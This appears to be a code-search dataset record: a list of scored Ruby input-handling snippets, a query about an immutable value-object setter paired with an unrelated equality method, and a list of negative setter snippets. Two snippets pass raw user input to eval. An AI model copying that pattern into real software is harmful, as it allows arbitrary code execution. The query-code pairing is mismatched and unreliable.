"def input\n valid = false\n\n # Loop until a valid input is entered\n until valid\n # Prompt for input\n print \"Enter your move > \"\n \n # Accept input from user\n user_input = gets.strip.to_s\n\n #Check to see if user quit... if so return\n if user_input == \"q\"\n @quit = true\n break;\n end\n\n #Otherwise split input string into an array\n input_array = user_input.split(\",\")\n\n # Strip any spaces or newlines from each piece\n input_array.each_index { |i| input_array[i] = input_array[i].strip.to_i }\n\n # Check input to make sure it is valid\n if input_array.size == 2 and input_array.all?{ |element| element.class == Fixnum }\n if input_array.all?{ |tower_no| tower_no > 0 and tower_no < 4 }\n valid = true\n return input_array\n else\n # message if player enters an invalid stack number\n puts \"Please enter only valid stack numbers (1, 2, or 3).\"\n end\n else\n # message if player enters in an incorrect format (resulting in the wrong number or type of arguments)\n puts \"Please enter your move in the format \\\"1,3\\\".\"\n end\n end\n #If loop reaches the end without returning, return nil (results in trying over from the beginning of the turn)\n return nil \n end",
"def read_input\n end",
"def do_input\n prompted, item = input_prompt\n print '? ' unless prompted\n val = $stdin.gets.chomp\n\n # All digits (and decimal point)\n val = (val.include?('.') ? val.to_f : val.to_i) if val =~ NUMBER_REGEX\n\n @variables[item.value] = val\n end",
"def get_user_input\n input = gets.chomp\n #input\nend",
"def read_input; end",
"def ask(&parser)\n until input = get_input(parser)\n puts @notify_invalid if @notify_invalid\n end\n puts\n input\n end",
"def get_user_input\n gets.chomp\nend",
"def get_user_input\n gets.chomp\nend",
"def user_input\n\tuser_selection = gets.strip.to_i\n\tinput_logic(user_selection)\nend",
"def get_input\n gets.strip #chomp was also used..\nend",
"def read_user_input\n if ARGV.size < 2\n puts \"Insufficient inputs provided.\"\n exit\n \n elsif ARGV.size == 2\n $network = ARGV[0]\n $dataMut = ARGV[1]\n $weights_file = \"none\"\n $alpha = nil\n $cancer = \"nCOP_out\"\n \n elsif ARGV.size > 2\n $network = ARGV[0]\n $dataMut = ARGV[1]\n $weights_file = \"none\"\n $alpha = nil\n $cancer = \"nCOP_out\"\n \n (2..(ARGV.size - 1)).each do |i|\n index = ARGV[i].index(\"=\")\n\n if index.nil?\n puts \"Illegal input format. Please use param=value without white spaces if adding any non-required parameters, i.e alpha=0.4\"\n exit\n end\n \n param = ARGV[i][0..(index - 1)]\n value = ARGV[i][(index+1)..-1]\n \n case param\n when \"alpha\"\n $alpha = value.to_f\n when \"weights\"\n $weights_file = value\n when \"output_prefix\"\n $cancer = value\n else\n puts \"Wrong parameter specified. Please use one of the alpha=, weights=, or output_prefix=.\"\n exit\n end\n end\n end\nend",
"def get_user_input\n\t\tputs \"enter json data, enter __END__ when complete\"\n\n\t\tfinal_user_input = \"\"\n\t\tuser_input = \"\"\n\t until user_input == \"__END__\" \n\t\t final_user_input += user_input\t\n\t\t user_input = gets.chomp\n\t\tend\n\t\treturn final_user_input\n\tend",
"def prepare_input(prompt)\n line = readline(prompt)\n return unless line\n\n last_if_empty(line)\n end",
"def prepare_input(prompt); end",
"def gets_input\n\tgets.strip\nend",
"def get_user_input\n\n\tputs \"What is your name\"\n\t@name = gets\n\tputs \"You are about to enter the world of wrestling, if you want to step foot in it then you will be remembered with your ring name, not as #{@name}\"\n\tputs \"So speaking about ring names, What is your Ring name?\"\n\t@ring_name = gets\n\tputs \"A catchphrase is a thing that you like to say?\"\n\tputs \"What is your catchphrase?\"\n\t@catchphrase = gets\n\tputs \"What is your insult?\"\n\t@insult = gets\n\tputs \"What is your theme song\"\n\t@theme_song = gets\n\tputs \"What are the lyrics of your theme song\"\n\t@lyrics_of_theme_song = gets\n\tputs \"The Indie Circuit is where most people start, if you get promoted to the big leagues maybe you need to change your gimmick.\"\n\tputs \"If you decide to be in the Indies, What will the company be called?\"\n\t@company_indies = gets\n\tputs \"The big leagues are the places where very few people start, it is the main place of wrestling\"\n\tputs \"If you decide to be in the big leagues, you can choose either real or fictional companies, what will the fictional one be called?\"\n\t@company_big_leagues = gets\n\tputs \"If you want to be in a team, what will it be called. if you want to be a singles competitor then just put enter and select\n\tthe choice that you don't want to be in a tag team.\"\n\t@team_name = gets\n\tputs \"Who is your partner, just put a random name if you dont want to be in the tag team\n\tand do the same thing as the last question told you.\"\n\t@partner_tag_first = gets\n\tputs \"Getting back to the fictional company, what will your boss be called?\"\n\t@boss_name = gets\n\tputs \"who is the interviewer for the indies?\"\n\t@interviewername = gets\n\tputs \"If you are a heel during your debut in indies or big leagues, who will be your rival?\"\n\t@rival_name = gets\n\tputs \"but If you are a face during your debut in the indies or big leagues, who will be your rival?\"\n\t@rival_name_face = gets\n\tputs \"Ok so lets get to the story\"\n\n\nend",
"def get_input\n @input = gets.chomp\n end",
"def parse_input(params, resource); end",
"def put_in_user\n #setting variables\n name, cohort, city, hobby = placeholder\n #prompting the user for input and receiving it\n puts \"Hey there, type your name\".center(50)\n name = STDIN.gets.chomp\n\n puts \"Put your cohort\".center(50)\n cohort_input = STDIN.gets.chomp\n cohort = cohort_input.downcase\n\n puts \"Put your city\".center(50)\n city = STDIN.gets.chomp\n\n puts \"Put your hobby\".center(50)\n hobby = STDIN.gets.chomp\n\n validation_of_user_input(name, cohort, city, hobby)\n\nend",
"def read_input_line line_in, line_number\n\t\tinput_params = line_in.split(\" \")\n\t\tunless input_params.empty? \n\t\t\tbegin\t \n\t\t\t\tcase input_params[0]\n\t\t\t\twhen \"Driver\"\n\t\t\t\t\tself.handle_driver_command input_params\t\t\n\t\t\t\twhen \"Trip\"\n\t\t\t\t\tself.handle_trip_command input_params\t\t\n\t\t\t\telse\n\t\t\t\t\tputs \"#{input_params[0]} id not a supported command\"\n\t\t\t\tend\n\t\t\trescue => err\n\t\t\t puts \"line #{line_number} not parsed, Incorrect input format #{line_in} - #{err}\"\n\t\t\t err\n\t\t\tend\t\t\t\n\t\tend\n\tend",
"def data()\n\t\tputs(\"Please enter the name of the employee\")\n\t\t@name = gets\n\t\tputs(\"Now the age\")\n\t\t@age = gets\n\t\tputs(\"Finally his social number\")\n\t\t@social_n = gets\n\tend",
"def user_input\n input = gets.chomp\n end",
"def get_input\n gets.chomp\n end",
"def parse_input(input)\n input.split(\"\\n\").map{|name| parse_name(name) }\nend",
"def get_user_input(message)\n puts message\n gets.chomp\n end",
"def get_input\n story = gets.chomp\nend",
"def input_name\n\tname = gets.chomp\nend",
"def parse_incoming_message(message, user)\n winning_team_id, score = message.split(\",\")\n if !winning_team_id || !score\n send_message(\"Invalid format detected. Valid format: #{user_pick_format}.\" +\n \" Valid teams: #{valid_teams_pretty}\")\n return\n end\n\n if !Team.find(winning_team_id)\n send_message(\n \"Invalid Team ID for this pool. Valid teams: #{valid_teams_pretty}\",\n user,\n )\n return\n end\n\n home_team_score, away_team_score = score.split(\"-\").map(&:strip)\n if !home_team_score || !away_team_score\n send_message(\"Invalid Score Format detected. The score should have the winning\" +\n \" teams total first, and the losing teams second, separated by a dash.\")\n return\n end\n end",
"def user_input\n gets.chomp\nend",
"def user_input\n gets.chomp\nend",
"def user_input_command_line_menu\n\tcommand_line_input = gets.strip.to_i\n\tcommand_line_input_logic(command_line_input)\nend",
"def read_input(message, default = '')\n message.split(\"\\n\").each { |e| print \"#{e} \" }\n response = STDIN.gets.chomp\n response.blank? ? default : response\nend",
"def get_input\n gets.chomp \nend",
"def parse_input\n code, row, col = gets.chomp.split(\",\")\n [code, [row.to_i, col.to_i]]\n end",
"def parse_input (input_string)\n lines = input_string.split(/\\n/)\n\n state = :reading_map\n\n rover_x_start = 0\n rover_y_start = 0\n rover_facing_start = 0\n\n lines.each do |line|\n # drop empty lines\n next unless /(\\w)+/ =~ line\n\n case state\n when :reading_map\n match = /^\\s*(\\d+)\\s+(\\d+)\\s*$/.match(line)\n raise ArgumentError.new(\"Invalid map data >>#{line}<<\") unless match\n\n x_size = $1.to_i\n y_size = $2.to_i\n\n # the format is not the size, it's the greatest valid index\n init_map(x_size,y_size)\n\n state = :reading_rover_init\n\n when :reading_rover_init\n match = /^\\s*(\\d+)\\s+(\\d+)\\s+([NSWE])\\s*$/.match(line)\n # match = line.match /^\\s*(\\d+)\\s+(\\d+)\\s+([NSWE])\\s*$/\n raise ArgumentError.new(\"Invalid rover init >>#{line}<<\") unless match\n\n rover_x_start = $1.to_i\n rover_y_start = $2.to_i\n rover_facing_start = $3\n\n state = :reading_rover_instructions\n when :reading_rover_instructions\n match = /^\\s*([LRM]+)\\s*$/.match(line)\n raise ArgumentError.new(\"Invalid rover init >>#{line}<<\") unless match\n\n rover_instructions = $1\n\n add_rover(rover_x_start,rover_y_start,rover_facing_start,rover_instructions)\n\n state = :reading_rover_init\n end\n end\n\n end",
"def parse_input attack_details\n attack_details_arr = attack_details.split(\":\")\n attack_details_arr.each do |attack_detail|\n tribal, direction, tribal_strength = attack_detail.split(\" - \")\n attacked?(tribal_strength.to_i, direction) ? @@attack_count += 1 : 0\n end\n rebuild_wall(attack_details_arr)\n print_outcome\n end",
"def read\n puts \"Enter the first name...\\n\"\n @first = gets.chomp\n puts \"Enter the middle name...\\n\" \n @middle = gets.chomp\n puts \"Enter the last name...\\n\" \n @last = gets.chomp\n end",
"def query_user(user_prompt = 'Please enter a string: ', input_type = 'string')\n user_input = nil\n print user_prompt\n loop do\n user_input = gets.chomp\n case input_type\n when 'yesno'\n user_input = 'y' if user_input == 'Y' #give user some slack\n user_input = 'n' if user_input == 'N'\n return user_input if valid_yesno?(user_input)\n print \"Regrettably, a binary choice (\\'y\\' or \\'n\\') is required: \"\n when 'char'\n return user_input if valid_char?(user_input)\n print \"Sorry, single standard characters only. Please try again: \"\n when 'string'\n return user_input if valid_string?(user_input)\n print \"Sorry, standard keyboard characters only. \\nPlease try again: \"\n when 'int'\n return user_input.to_i if valid_int?(user_input)\n print 'Sorry, an integer is required. Try again: '\n when 'float'\n return user_input.to_f if valid_float?(user_input)\n print 'Sorry, a float is required. Try again: '\n else\n abort('Application Error: Improper input_type provided to query_user')\n end #case\n end #do\nend",
"def greeting\n puts \"Hello, MTA rider! How can we help?\"\n puts \"please enter one of the following commands:\"\n puts \"lines / stops the_line / calculate Departing_Line Departing_Stop Arriving_Line Arriving_Stop\"\n user_call, *user_args = gets.chomp\n user_args.to_s\n # user_args.split(\" \")\n # puts user_input\n\n if user_call == lines\n show_lines()\n elsif user_call == stops\n show_stops(user_args[0])\n elsif user_call == calculate\n if user_args.length < 4\n puts 'please enter \"Departing_Line Departing_Stop Arriving_Line Arriving_Stop\"'\n puts 'or enter \"exit\" to return to the home screen' \n user_input = gets.chomp\n if user_input == \"exit\"\n greeting()\n end \n user_input = user_input.split(\" \")\n calculate(user_input[0], user_input[1], user_input[2], user_input[3])\n else\n calculate(user_args[0], user_args[1], user_args[2], user_args[3])\n end\n else\n \n end\nend",
"def inputLoop\r\n defaultInfo\r\n printCommands\r\n puts 'Your input:'\r\n input = gets.chomp\r\n while input != 'q'\r\n\r\n if input == 's'\r\n # puts 's selected.'\r\n resolveS\r\n elsif input[0] == 'u'\r\n resolveU(input)\r\n\r\n elsif input == 'v'\r\n resolveV\r\n\r\n elsif input[0] == 'c'\r\n #puts 'c selected.'\r\n resolveC(input)\r\n\r\n\r\n elsif input == 'b'\r\n #puts 'b selected.'\r\n resolveB\r\n elsif input == 'f'\r\n #puts 'f selected.'\r\n resolveF\r\n\r\n elsif input == 'q'\r\n #puts 'q selected. exiting program.'\r\n exit\r\n elsif input == 'z'\r\n defaultInfo\r\n else\r\n puts 'input unknown. try again.'\r\n end\r\n printCommands\r\n puts 'Your input:'\r\n input = gets.chomp\r\n end\r\n\r\n end",
"def parse(input)\n # Removes white space, converts string into an array split by the possible operators (but retaining the operators).\n # Removes empty strings from the array. I'm actually not sure where these are coming from, but I noticed them when the user enters a negative number.\n parsed_input = input.gsub(/\\s+/,\"\").split(/(\\+)|(-)|(\\*)|(\\/)|(\\^)|(%)|(add)|(subtract)|(multiply)|(divide)|(exponent)|(modulo)/).reject { |x| x.empty? }\n # If the first element of the array is a negative sign,\n # reassigns the 2nd element as a joined string of the sign and existing number in the 2nd element,\n # and deletes the 1st element.\n if parsed_input[0] == \"-\"\n parsed_input[1] = parsed_input[0..1].join\n parsed_input.slice!(0)\n end\n # If the 3rd element of the array is a negative sign,\n # reassigns the 4th element as a joined string of the sign and existing number in the 4th element,\n # and deletes the 3rd element.\n if parsed_input[2] == \"-\"\n parsed_input[3] = parsed_input[2..3].join\n parsed_input.slice!(2)\n end\nreturn parsed_input\nend",
"def parseInput(args)\n\t# in case it is a full path, get only the filename part\n\targstr = File.basename(args.join(\" \").strip())\n\t# remove filename extensions\n\twhile argstr.sub!(/\\.[a-zA-Z2]{1,5}/,''); end\n\t# Case 1: LC control number\n\tif argstr.start_with?('lccn:') then\n\t\treturn {'lccn' => argstr.sub!('lccn:','')}\n\tend\n\t# Case 2: worldcat query string\n\ttokens = argstr.split(/\\b(author|isbn|keyword|title)=/).drop(1)\n\tif tokens.length > 1 then\n\t\treturn Hash[*tokens]\n\tend\n\t# Case 3: ISBN10 or ISBN13\n\tfor i in 0..(argstr.length - 13) do\n\t\treturn {'isbn' => argstr[i..(i+12)]} if isbn13?(argstr[i..(i+12)])\n\tend\n\tfor i in 0..(argstr.length - 10) do\n\t\treturn {'isbn' => argstr[i..(i+9)]} if isbn10?(argstr[i..(i+9)])\n\tend\n\t# Case 4: Semicolon-separated pieces (probably filename without extension)\n\ttokens = argstr.split(\";\")\n\tret = {}\n\tif tokens.length == 3 then # fulltitle;authors;year\n\t\tret['fulltitle'] = tokens[0].gsub(/[-_]/, ' ')\n\t\tret['year'] = tokens[2].gsub(/[^\\d]/,'')\n\t\tif tokens[1] =~ /^([a-zA-Z]+-)?(.*)$/ then\n\t\t\tret['author'] = $2 if $2.length > 0\n\t\tend\n\telsif tokens.length > 1 then\n\t\tret['fulltitle'] = tokens.shift.gsub(/[-_]/, ' ')\n\t\tauthor = tokens.drop_while{|x| x =~ /[^a-zA-Z\\s]/}.first\n\t\tret['author'] = author unless author.nil?\n\telse\n\t\tret['fulltitle'] = argstr.gsub(/[-_]/, ' ')\n\tend\n\tret['fulltitle'] = ret['fulltitle'].gsub(/\\(.*\\)/,'').gsub(/ +/,' ').strip\n\tret['fulltitle'].match(/\\b(\\d+)e$/) { |m|\n\t\tret['edition'] = m[1]\n\t\tret['fulltitle'].sub!(/\\b\\s*\\d+e$/,'')\n\t}\n\tret['title'] = ret['fulltitle'].sub(/\\..*$/,'').strip()\n\treturn ret\nend",
"def prompt_and_get_input_from_user\n prompt_user\n input = $stdin.readline.strip\nend",
"def get_input\n input = gets\n return input\nend",
"def load_input(maze)\n puts \"Enter the input string\"\n print PROMPT\n input = $stdin.gets.chomp.downcase\n maze.load(input) if(validate_string(input))\n puts \"Here is the graph of the maze\" if(maze.valid == true)\n maze.display if(maze.valid == true)\n end",
"def hamster_organizer\n puts \"What is the hamster\\'s name?\"\n hamster_name = gets.chomp\n puts \"How loud is the hamster on a scale from 1 to 10?\"\n volume = gets.to_i #test .chomp if doesn't work\n puts \"What is the color of the fur?\"\n fur_color = gets.chomp\n puts \"Is the hamster a good candidate for adoption?(y,n)\"\n adoption_status = gets.chomp\n puts \"How many years old is the hamster?\"\n estimated_age = gets.to_i\n if estimated_age == \"\"\n puts estimated_age = nil\n end\n puts \"The hamster name is \" + \"#{hamster_name}\"\n puts \"The hamster is a \" + \"#{volume}\" + \" on a scale of 1 to 10\"\n puts \"The hamster is \" + \"#{fur_color}\"\n if adoption_status == \"y\"\n puts \"It is a good candidate for adoption\"\n elsif\n puts \"It is NOT a good candidate for adoption\"\n end\n puts \"We think the hamster is \" +\"#{estimated_age}\" + \" years old\"\nend",
"def parse_input(input_file); end",
"def parse_input(input_file); end",
"def fetch_input(question_to_user)\n print question_to_user\n gets.chomp # return not needed\nend",
"def user_input\n user_input = gets.chomp\nend",
"def input(input)\n cleaned_input = sanatise_input input\n\n if valid_input? cleaned_input\n process_input cleaned_input\n else\n # Return error message\n return AppConfig.msg_place_args\n end\n end",
"def process_next_input\n next_input = @input.read_next_input\n\n if next_input == :exit_command\n return :exit_command\n end\n\n validation = @validator.validate(next_input)\n unless validation.response == :valid_input\n @output.output_error(validation.response)\n return\n end\n\n if input_complete?(next_input)\n process_new_answer(InputParser.new(next_input).input)\n else\n if @last_answer\n input = InputParser.new(next_input).input\n process_new_answer(ParsedInput.new(input.numbers.push(@last_answer), input.operator))\n else\n @output.output_error(\"#{next_input} is not a complete calculation!\")\n end\n end\n end",
"def read_thing(thing)\n print input_prompt(thing[:text], thing[:default])\n validate_input(read_input, thing[:default], thing[:test])\n end",
"def get_input_until_valid\n buffer = \"\" # Buffer for input lines.\n indent = \"\" # The indent level.\n loop do\n line = gets\n buffer << line\n break if is_valid_syntax?(buffer)\n \n print Kal::Alex::CONFIG::INPUT_PROMPT\n if increases_indent_level?(line)\n indent.concat(\" \" * INDENT_SPACES)\n print indent\n elsif decreases_indent_level?(line)\n indent[-INDENT_SPACES..-1] = \"\"\n print indent\n else\n print indent\n end\n end\n buffer.chomp\n end",
"def parse (input)\n\t\treturn parse_tail(input.gsub('(', ' ( ').gsub(')', ' ) ').split)\n\tend",
"def query_user\n puts 'First, pick one:'\n puts '1. Get a user\\'s followers'\n puts '2. Get a user\\'s friends'\n step2 = gets\n case step2.strip\n when \"1\"\n find_followers\n @unique_user_ids = @followers - @my_friends\n puts \"There are #{@unique_user_ids.size} unique users that you don't follow\"\n follow_or_favorite\n when \"2\"\n find_friends\n @unique_user_ids = @friends - @my_friends\n puts \"There are #{@unique_user_ids.size} unique users that you don't follow\"\n follow_or_favorite\n else\n puts \"Sorry, that is not acceptable input, try again.\"\n $stdout.flush\n step1 = gets\n query_user\n end\nend",
"def request_operations_numbers(user_input, valid_operators)\n puts \"What operation would you like to perform?\"\n operation = gets.chomp\n if valid_operators.values.flatten.include?(operation)\n user_input[:operation] = operation\n else\n puts \"Whoa nelly! You don't make sense. You can add, subtract, multiply, or divide.\"\n exit\n end\n puts \"What's the first number you would like to use?\"\n num_1 = gets.chomp\n user_input[:num_1] = num_1\n\n puts \"What's the second number you would like to use?\"\n num_2 = gets.chomp\n user_input[:num_2] = num_2\nend",
"def parse_args\r\n if(cmd.args =~ /\\=/)\r\n self.names = InputFormatter.titlecase_arg(cmd.args.before(\"=\"))\r\n self.action_args = cmd.args.after(\"=\")\r\n elseif (cmd.args && one_word_command)\r\n self.names = InputFormatter.titlecase_arg(cmd.args)\r\n self.action_args = \"\"\r\n else\r\n self.names = enactor.name\r\n self.action_args = cmd.args\r\n end\r\n\r\n self.names = self.names ? self.names.split(/[ ,]/) : nil\r\n\r\n self.combat_command = cmd.switch ? cmd.switch.downcase : nil\r\n end",
"def determine_username\n\tputs \"What is your name?\"\n\tusername = gets.strip.to_s\nend",
"def process_input\n if state.current_input == :star\n input_star\n elsif state.current_input == :target\n input_target\n elsif state.current_input == :remove_wall\n input_remove_wall\n elsif state.current_input == :add_wall\n input_add_wall\n end\n end",
"def user_input_capture\n print \">>: \"\n response = gets.chomp\n response\n end",
"def process_user_input(user_input)\n continue_program = true\n\n case user_input\n when 'h'\n Classifieds::CLI.display_help\n when 'i'\n select_item_type\n when 'p'\n tmp_page_size = Classifieds::CLI.prompt('Enter new page size: ').to_i\n @page_size = tmp_page_size if 0 < tmp_page_size\n when 'q'\n continue_program = false\n# when 's'\n# # list sellers instead of items\n when ''\n # display next summary rows\n else\n if (item_number = user_input.to_i).between?(1, Classifieds::Listing.all.size)\n Classifieds::Listing.all[item_number-1].print_detail(item_number)\n else\n STDERR.puts Classifieds::CLI.red('Invalid selection')\n end\n Classifieds::CLI.prompt 'Press Enter to continue...'\n end\n continue_program\n end",
"def parse_input(input_string)\n # \"16-20 j: vjkjjcjjrjjmtnbjjjnj\"\n unparsed_rule, password = input_string.split(': ')\n min_max, letter = unparsed_rule.split(' ')\n min, max = min_max.split('-').map(&:to_i)\n\n rule = Rule.new(letter, min, max)\n\n [password, rule]\nend",
"def valid_input(input)\n valid = false\n parsed_input = downcase_camelcase_input(input)\n while valid == false\n #accepts uppercase or lowercase Y/N\n if parsed_input == \"Y\" || parsed_input ==\"N\"\n valid = true\n else\n puts \"\\nPlease enter Y or N:\\n\"\n print \"⚡️ \"\n input = gets.chomp.strip\n parsed_input = downcase_camelcase_input(input)\n end\n end\n parsed_input\n end",
"def get_param ()\n puts \"\\e[H\\e[2J\"\n puts \"Enter the first name: \"\n firstname = gets.chomp! #chomp to remove the newline from the input\n firstname.gsub!(/\\s/,'+') # need to replace spaces with +\n puts \"Enter the last name: \"\n lastname = gets.chomp!\n lastname.gsub!(/\\s/,'+') # need to replace spaces with +\n\n## need to ensure that the user enters a last name. This is a requirement\n while lastname == \"\"\n puts \"You can't have an empty lastname\"\n puts \"Enter the last name: \"\n lastname = gets.chomp!\n lastname.gsub!(/\\s/,'+') # need to replace spaces with +\n end\n\n puts \"Enter the location (zip, city/state or state)\"\n location = gets.chomp!\n location.gsub!(/\\s/,'+') # need to replace spaces with +\n\n params = [firstname, lastname, location]\nend",
"def mad_lib\n user_inputs = []\n required_data = %w(noun verb adjective adverb)\n required_data.each do |question|\n puts \"Enter a #{question}:\"\n user_inputs << gets.chomp\n end\n puts \"Do you #{user_inputs[1]} your #{user_inputs[2]} #{user_inputs[0]} #{user_inputs[3]}? That's hilarious!\"\nend",
"def madlib_inputs\n print \"Enter a noun: \" \n noun = gets.chomp\n print \"Enter a verb: \" \n verb = gets.chomp\n print \"Enter an adjective: \" \n adjective = gets.chomp\n print \"Enter an adverb: \" \n adverb = gets.chomp\n madlib_line(noun, verb, adjective, adverb)\nend",
"def get_user_input\n puts\n puts \"Type your question below or select from the following:\"\n puts\n puts \"1) Type Q to exit program\"\n puts\n puts \"2) Type P to print all answers\"\n puts\n puts \"3) Type R to reset answers to originals\"\n puts\n puts \"4) Type A to add your own answers to the originals\"\n puts\n question = gets.strip.to_s.downcase\n puts\n handle_user_input(question)\n end",
"def main\r\n\r\n\tname = read_string('What is your name?')\r\n\tputs 'Your name is ' + name + '!'\r\n\tfamily_name = read_string('What is your family name?')\r\n\tputs 'Your family name is: ' + family_name + '!'\r\n\tyear_born = read_integer('What year were you born?')\r\n\tage = Date.today.year - year_born\r\n\tputs 'So you are ' + age.to_s + ' years old'\r\n\tvalue = read_float('Enter your height in metres (i.e as a float): ')\r\n\tvalue = value * INCHES\r\n\tputs 'Your height in inches is: '\r\n\tputs value.to_s\r\n\tputs 'Finished'\r\n\tcontinue = read_boolean('Do you want to continue?')\r\n\tif (continue)\r\n\t\tputs 'Ok, lets continue'\r\n\telse\r\n\t\tputs 'ok, goodbye'\r\n\tend\r\nend",
"def parse\n data = []\n\n until @input.empty?\n if peektype == '$'\n data << [:shell, popline]\n next\n end\n\n unless g = tryparse_gitlet\n msg = \"Unexpected line type: #{peektype} (content: #{popline})\"\n raise BadInput.new(msg)\n end\n\n data << ([:gitlet] + g)\n end\n\n data\n\n rescue BadInput => e\n warn e # equiv to: warn(e.message); nil\n $fail = true\n nil\n end",
"def user_input\n puts \"* * * *RULES* * * *\"\n puts \"In this game Health Points or HP is the basis for dealing damage. Each\n attack will hit as hard as 33% to 66% of your charachters MAX Health Points.\n Recovery Rate heals each turn based on how high it is. It doesn't allow you\n to play out each turn yet but for now just put in the values and have fun!\"\n print \"Enter Name 1: \"\n n1 = gets.chomp\n print \" Enter Name 2: \"\n n2 = gets.chomp\n puts \" \"\n print \"Enter #{n1}'s Health Points: \"\n hp1 = gets.to_i\n print \" Enter #{n2}'s Health Points: \"\n hp2 = gets.to_i\n puts \" \"\n print \"Enter #{n1}'s Recovery Rate: \"\n rr1 = gets.to_i\n print \" Enter #{n2}'s Recovery Rate: \"\n rr2 = gets.to_i\n puts \" \"\n @name1 = n1\n @name2 = n2\n @health_points = hp1\n @health_points2 = hp2\n @recovery_rate1 = rr1\n @recovery_rate2 = rr2\n\n battle\n end",
"def parse_input(input)\n match = input.match(/^(PLACE|MOVE|LEFT|RIGHT|REPORT|EXIT)(.*)/i)\n\n command, args = match.captures\n args.strip!\n\n [command.downcase.to_sym, args]\n end",
"def input_location_detail inheritance, result\n input = String.new\n city_captured = false\n state_captured = false\n country_captured = false\n puts \"Check permissions, type 'exit' to Stop\"\n puts \"Enter location Format 'cityName,stateName,countryName'\"\n while input != 'exit'\n input = gets.chomp\n if input.include?(\",\")\n city, state, country = input.split(\",\")\n if inheritance\n status = finders(result[1][0], city_captured, state_captured, country_captured, city, state, country)\n if !status\n status = finders(result[0][0], city_captured, state_captured, country_captured, city, state, country)\n end\n else\n status = finders(result[0], city_captured, state_captured, country_captured, city, state, country)\n end\n if !status\n puts \"Input is not available in includes and excludes\"\n end\n end\n end\n end",
"def readName()\n @first = gets.chomp\n @middle = gets.chomp\n @last = gets.chomp\n end",
"def handle_input(input)\n result = eval(input)\n puts(\" => #{result}\")\nend",
"def handle_input(input)\n result = eval(input)\n puts(\" => #{result}\")\nend"
] | [
"0.71648514",
"0.7058947",
"0.67822915",
"0.6722172",
"0.6691221",
"0.6683566",
"0.6649619",
"0.66485393",
"0.6561567",
"0.65061444",
"0.65022105",
"0.64279926",
"0.6419001",
"0.63971895",
"0.6393312",
"0.63820463",
"0.6366957",
"0.635749",
"0.634433",
"0.6335955",
"0.6335294",
"0.63047254",
"0.62585574",
"0.6253189",
"0.62294704",
"0.6214543",
"0.6212261",
"0.62013376",
"0.6198467",
"0.61978406",
"0.6182872",
"0.61825943",
"0.61825943",
"0.6180188",
"0.6180129",
"0.617184",
"0.61363745",
"0.6130759",
"0.6113095",
"0.61060286",
"0.61033076",
"0.60962844",
"0.60891545",
"0.60590756",
"0.6056054",
"0.6051131",
"0.6049345",
"0.604777",
"0.60438013",
"0.602962",
"0.6019362",
"0.6010528",
"0.60097295",
"0.598465",
"0.598465",
"0.5977341",
"0.5958174",
"0.5953526",
"0.5952377",
"0.59498024",
"0.59424746",
"0.59392834",
"0.59361356",
"0.592989",
"0.59196025",
"0.59164673",
"0.59139615",
"0.5908294",
"0.58971775",
"0.589707",
"0.58962226",
"0.5895281",
"0.5895281",
"0.58875036",
"0.5879405",
"0.5876247",
"0.586969",
"0.58676666",
"0.5867159",
"0.58613014",
"0.58606243",
"0.5854365",
"0.5845304",
"0.58452916",
"0.5840695",
"0.5832312",
"0.5819989",
"0.58172745",
"0.58144027",
"0.58066344",
"0.58057165",
"0.5796037",
"0.5782411",
"0.5781736",
"0.5773815",
"0.5773595",
"0.576778",
"0.57634145",
"0.57574916",
"0.57568115",
"0.57568115"
] | 0.0 | -1 |
VO is immutable. Here is a setter method to return a new value object | def ==(other_debt_portfolio_position)
self.class == other_debt_portfolio_position.class &&
debt_positions == other_debt_portfolio_position.debt_positions &&
creditor_id == other_debt_portfolio_position.creditor_id &&
creditor_name == other_debt_portfolio_position.creditor_name
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def [](value) \r\n obj = clone\r\n obj.instance_variable_set(:@value, value)\r\n obj.freeze_without_memoizable \r\n obj\r\n end",
"def set(object, value); end",
"def value=(v)\n set(v)\n end",
"def assign(obj)\n @value = obj\n end",
"def value=(obj)\n @value = to_value(obj)\n end",
"def value_object\n vo = self.class.value_object.new\n vo._update(props)\n vo\n end",
"def value_object\n vo = self.class.value_object.new\n vo._update(props)\n vo\n end",
"def value=(value)\n @object.instance_variable_set(:\"@#{@name}\",coerce(value))\n end",
"def value=(val); end",
"def new_value(value)\n AwesomeObject.new(self, value)\n end",
"def value=(val)\n self[:value] = serialize_value(val)\n end",
"def proxy=(new_value); end",
"def value=(new_value)\n\t\t@value = new_value\n\t\tinform_obeservers\n\tend",
"def set(value)\n raise NotImplementedError\n end",
"def value=(new_value)\n @value = self.lazy_proc?(new_value) ? new_value : self.coerce(new_value)\n end",
"def single_object_db=(v); end",
"def value=(value)\n\t\tself.updated_at = Time.now\n\t\tif is_multi_object?\n\t\t\t(@value ||= []) << value\n\t\telse\n\t\t\t@value = value\n\t\tend\n\tend",
"def value=(v)\n @value = v\n @value_set = true\n @value\n end",
"def value=(value)\n @value = value\n end",
"def []=(name, value)\n modifiable[new_ostruct_member(name)] = value\n end",
"def set(value)\n value\n end",
"def set_value( value )\n @value = value \n end",
"def value=(v)\n self.explicitly_set_value = true\n @casted_value = nil\n @value = v\n end",
"def set(v)\n @val = v\n end",
"def value=(v)\n @value = from_type(v)\n end",
"def value=(_); end",
"def value=(value)\n if @value.class == value.class\n @value = value\n @updater = nil\n else\n raise \"Class of new value (#{value.class}) does not match class of current value (#{@value.class})\"\n end\n end",
"def as(value)\n @value = value\n end",
"def set_value new_value\n if validate_value new_value\n @value = new_value\n end\n end",
"def value=(value); self.data.value = value; end",
"def value=(value)\n @value = value\n end",
"def value= (val) ; write_attribute(:value, Marshal.dump(val)) ; end",
"def value=(value)\n @changed = true if value != @value\n @value = value\n end",
"def set!(value_obj)\n\t\t\tinsist!()\n\t\t\t@lookup[0...-1].inject(@obj_with_keys) { |deep_obj, this_key|\n\t\t\t\tdeep_obj[this_key]\n\t\t\t}[@lookup[-1]] = value_obj\n\t\tend",
"def setValue(value)\n @value = value\n end",
"def set(value)\n case value\n when DateTime\n set(value.to_time)\n when Time\n set(value.to_i)\n when Integer\n self.val = value\n else\n self.val = value.to_i\n end\n val\n end",
"def get(value)\n return nil if value.nil?\n value.is_a?(self) ? value : self.new(value)\n end",
"def set(instance, value)\n set!(instance, coerce(value))\n end",
"def set_value(*args)\n raise ReadOnlyRecord if readonly?\n resource.set_value(*args)\n end",
"def with(new_value)\r\n @new_value = new_value\r\n self\r\n end",
"def value=(val)\r\n @value = val\r\n @candidates = []\r\n @modified = true\r\n end",
"def value=(value)\n @value = value\n @value_set = true\n end",
